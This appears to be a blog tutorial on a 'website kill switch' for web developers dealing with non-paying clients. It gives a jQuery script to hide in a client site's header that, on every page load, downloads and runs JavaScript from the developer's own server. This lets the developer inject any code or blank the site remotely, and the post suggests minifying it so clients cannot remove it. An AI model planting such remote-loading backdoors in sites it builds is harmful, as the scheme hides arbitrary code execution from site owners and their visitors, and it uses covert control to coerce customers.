Web Site Kill Switch – Remotly take down a site with AJAX, jQuery and CSS.

Ok, lets be frank. Despite your best efforts at customer service and ethical business conduct there will always be some customers that are either down right mean, fraudulent or severely delinquent on payment. How can a web designer / developer protect themselves from this sort of abuse? If your customer is not a web savvy individual we can embed a script via AJAX which will check back to the mother-ship for instruction every time the page is loaded. If everything is ok, the page loads as usual. If there is any reason for action, even if you no longer have control of the website hosting (ftp access), we are still able to inject our own code and disable the website remotely.

Here is how,

On the Website,

Load jQuery like so:

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script>

Visit the jQuery website for further details..

Place this script ideally in the header:

<script type="text/javascript">
jQuery.ajax({
type: "GET",
url: "http://YOUROWNHOSTING.com/killswitch/failsafe_THEWEBSITE.js",
dataType: "script"
});
</script>

On your own Hosting,

Create a file called  failsafe_THEWEBSITE.js making sure its placed in the same directory as the url in the above script. Any file name and directory will work as long as they match. This file can contain any actions you wish to take effect. For example,  using a CSS killswitch we can do this via jQuery:

// jQuery("#wrapper").css("display","none");

Note the “//” at the begging of that line. This means its commented-out and not in effect. Any time you wish to disable the website remotely simply remove the “//” and the website will render a blank page assuming everything is inside a DIV element with an ID of “wrapper”.

If you really wanted to make a point, you could offer alternate content or post a picture of the outstanding bill.. ok, thats a little immature.. but you get the point. To further strengthen this hack, you could minify your code making a coding noob all the more intimidated to try and fix the hack themselves.

Pretty sneaky, but a necessary evil for sound sleep when dealing with shady customers. No longer shall you worry about someone walking away with a months worth of your labor and not paying you.

Hope this is helpfull and remember to always make your custumers happy and follow through with your obligations. A phone call can solve 99.9% of problems before having to activate such a script.

Cheers.

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